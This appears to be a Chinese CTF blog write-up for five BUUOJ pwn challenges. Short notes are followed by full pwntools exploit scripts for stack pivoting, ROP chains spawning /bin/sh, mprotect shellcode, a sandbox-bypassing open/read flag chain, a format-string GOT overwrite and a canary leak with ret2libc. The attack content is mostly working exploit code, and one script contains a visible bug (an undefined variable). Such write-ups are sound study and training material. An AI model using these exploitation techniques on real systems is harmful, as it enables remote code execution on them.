61 gyctf_2020_borrowstack
保护
平平无奇栈溢出,但是溢出的空间不够,考虑栈迁移。
要注意的是
# -*- coding: utf-8 -*-
from pwn import *
context(arch='i386', os='linux',log_level='debug')
#context.terminal=['tmux','splitw','-h']
r = remote('node3.buuoj.cn', 29952)
#r = process('./61')
libc = ELF("./64/libc-2.23.so")
elf=ELF("./61")
bss_addr = 0x601080
leave_ret = 0x400699
one_gadget = 0x4527a
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x400703
main_addr = 0x400626
ret_addr = 0x4004c9
r.recvline()
payload = 'a' * 96 + p64(bss_addr) + p64(leave_ret)
r.send(payload)
r.recvline()
payload = p64(ret_addr) * 20 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
r.sendline(payload)
#gdb.attach(r)
puts_addr = u64(r.recv(6).ljust(8, '\x00'))
libc_base = puts_addr - libc.sym['puts']
one_gadget += libc_base
print hex(libc_base)
payload = 'a' * 104 + p64(one_gadget)
r.recvline()
r.send(payload)
r.recvline()
r.sendline('aaaa')
r.interactive()
62 inndy_rop
保护
平平无奇栈溢出。
又是要么int 80h
exp
# -*- coding: utf-8 -*-
from pwn import *
context(arch='i386', os='linux',log_level='debug')
#context.terminal=['tmux','splitw','-h']
#r = remote('node3.buuoj.cn', 28533)
r = process('./62')
libc = ELF("./32/libc-2.23.so")
elf=ELF("./62")
int_80h = 0x0806c943
pop_eax = 0x080b8016
pop_dcb = 0x0806ed00
bss_addr = 0x080eb000
#gdb.attach(r)
payload = 'a' * 16+p32(elf.sym['read'])+p32(pop_dcb)+p32(0)+p32(bss_addr)+p32(0x10)
payload += p32(pop_eax) + p32(0xb)
payload += p32(pop_dcb) + p32(0) + p32(0) + p32(bss_addr)
payload += p32(int_80h)
r.sendline(payload)
payload='/bin/sh\x00'
r.sendline(payload)
r.interactive()
要么mprotect。
exp
# -*- coding: utf-8 -*-
from pwn import *
context(arch='i386', os='linux',log_level='debug')
#context.terminal=['tmux','splitw','-h']
#r = remote('node3.buuoj.cn', 28533)
r = process('./62')
libc = ELF("./32/libc-2.23.so")
elf=ELF("./62")
bss_addr = 0x080Eb000
#bss这里往后写一写,因为shellcode会把bss段上一些有用的东西给覆盖掉。
pop_dcb = 0x806ed00
shellcode = asm(shellcraft.sh())
payload = 'a' * 16 + p32(elf.sym['mprotect'])
payload += p32(pop_dcb) + p32(bss_addr) + p32(0x200) + p32(7)
payload += p32(elf.sym['read'])
payload += p32(bss_addr) + p32(0) + p32(bss_addr) + p32(0x200)
r.sendline(payload)
r.sendline(shellcode)
r.interactive()
或者直接用ROPgadget里面的工具。
ROPgadget --binary rop --ropchain
# -*- coding: utf-8 -*-
from pwn import *
from struct import pack
context(arch='i386', os='linux',log_level='debug')
#context.terminal=['tmux','splitw','-h']
#r = remote('node3.buuoj.cn', 28533)
r = process('./62')
libc = ELF("./32/libc-2.23.so")
elf=ELF("./62")
def payload():
p = 'a'*16
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
return p
shell = payload()
r.sendline(shell)
r.interactive()
63 [V&N2020 公开赛]warmup
保护
直接先给puts函数的地址。
为什么说是puts。
看他的反汇编。
那个puts_ptr点过去就是puts的got表中的值。
这个东西看上去奇奇怪怪。
果然是沙箱。
平平无奇栈溢出。
总体思路就是通过read write open函数来打开,读取,并输出flag。
具体的实现方法有两种。
两个函数的栈连在一起构成巨大ROP链。
exp
# -*- coding: utf-8 -*
from pwn import *
r = remote('node3.buuoj.cn',28914)
libc=ELF("./64/libc-2.23.so")
r.recvuntil("0x")
puts_addr = int(r.recv(12),16)
libc_base = puts_addr - libc.symbols['puts']
print hex(puts_addr)
print hex(libc_base)
pop_rdi=libc_base + 0x21102
pop_rsi=libc_base + 0x202e8
pop_rdx=libc_base + 0x1b92
open_addr = libc_base + libc.symbols['open']
free_hook = libc_base + libc.symbols['__free_hook']
read_addr = libc_base + libc.symbols['read']
puts_addr = libc_base + libc.symbols['puts']
payload = p64(0) + p64(pop_rsi) + p64(free_hook) + p64(pop_rdx) + p64(4)
payload += p64(read_addr)
payload += p64(pop_rdi) + p64(free_hook) + p64(pop_rsi) + p64(4)
payload += p64(open_addr)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(free_hook) + p64(pop_rdx) + p64(0x30)+p64(read_addr)
payload += p64(pop_rdi) + p64(free_hook) + p64(puts_addr)
r.sendafter("Input something: ",payload)
r.sendafter("What's your name?",'a'* 0x78+p64(pop_rdi))
r.send("flag")
r.interactive()
栈迁移的话也可以但是没有必要。
64 axb_2019_fmt32
保护
乱七八糟有的没的。
就一个格式化字符串漏洞。
ret2libc就好了。
通过gdb调试判断一下偏移。
看得出来偏移是8。
然后想的是可以考虑覆盖got表的值,覆盖strlen吧,参数可控。
大数字写入的话保险点还是分开写吧。hn。
exp
# -*- coding: utf-8 -*
from pwn import *
context.log_level = "debug"
r = remote('node3.buuoj.cn',26945)
#r = process('./641')
elf = ELF('./641')
libc = ELF("./32/libc-2.23.so")
strlen_got = elf.got['strlen']
printf_got = elf.got['printf']
payload = 'b' + p32(printf_got) + '22' + "%8$s"
r.recvuntil('Please tell me:')
r.send(payload)
r.recvuntil('22')
printf_addr = u32(r.recv(4))
print hex(strlen_addr)
libc_base = printf_addr - libc.sym['printf']
print hex(libc_base)
system_addr = libc_base + libc.sym['system']
high_one = (system_addr >> 16) & 0xffff
low_one = system_addr & 0xffff
payload = 'b' + p32(strlen_got) + p32(strlen_got+2)
payload += '%' + str(low_one-18) +'c%8$hn'
payload += '%' + str(high_one - low_one) + 'c%9$hn'
r.sendafter("Please tell me:",payload)
payload = ';/bin/sh\x00'
r.sendafter("Please tell me:",payload)
r.interactive()
要注意的是泄露got表的时候不要泄露比如strlen,因为在你泄露的时候这个函数还没有被调用过,这就导致strlen里面放着还不是它的地址,因为延迟绑定机制。
所以泄露printf比较靠谱。
65 others_babystack
保护
简简单单的栈溢出,但是有canary,绕过它就好了。
# -*- coding: utf-8 -*
from pwn import *
context.log_level = "debug"
r = remote('node3.buuoj.cn',29228)
#r = process('./65')
elf = ELF('./65')
libc = ELF("./64/libc-2.23.so")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x400a93
main_addr = 0x400908
payload = 'a' * 136 + '\xff'
r.recvuntil(">> ")
r.send("1")
r.send(payload)#
r.recvuntil(">> ")
r.send('2')
r.recvuntil("\xff")
canary = u64(r.recv(7).rjust(8,'\x00'))
print hex(canary)
payload = 'a' * 136 + p64(canary) + 'b' * 8
payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
r.recvuntil(">> ")
r.send("1")
r.send(payload)
r.recvuntil(">> ")
r.send('3')
puts_addr = u64(r.recv(6).ljust(8, '\x00'))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search("/bin/sh").next()
payload = 'a' * 136 + p64(canary) + 'b' * 8
payload += p64(pop_rdi) + p64(bin_sh)
payload += p64(system_addr)
r.recvuntil(">> ")
r.send('1')
r.send(payload)
r.recvuntil(">> ")
r.send('3')
r.interactive()